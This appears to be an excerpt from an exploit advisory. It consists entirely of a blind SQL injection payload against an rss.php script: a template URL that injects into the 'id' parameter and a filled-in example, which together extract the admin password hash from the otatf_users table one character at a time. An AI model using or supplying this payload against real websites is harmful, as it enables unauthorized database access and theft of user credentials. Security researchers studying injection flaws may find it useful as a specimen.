http://[site]/[path]/rss.php?t=vp&id=1'+AND+(SELECT+MID(o.password,1,1)+FROM+otatf_users+o+WHERE+o.id=1)='[first character of admin hash]
example: http://[site]/[path]/rss.php?t=vp&id=1'+AND+(SELECT+MID(o.password,1,1)+FROM+otatf_users+o+WHERE+o.id=1)='c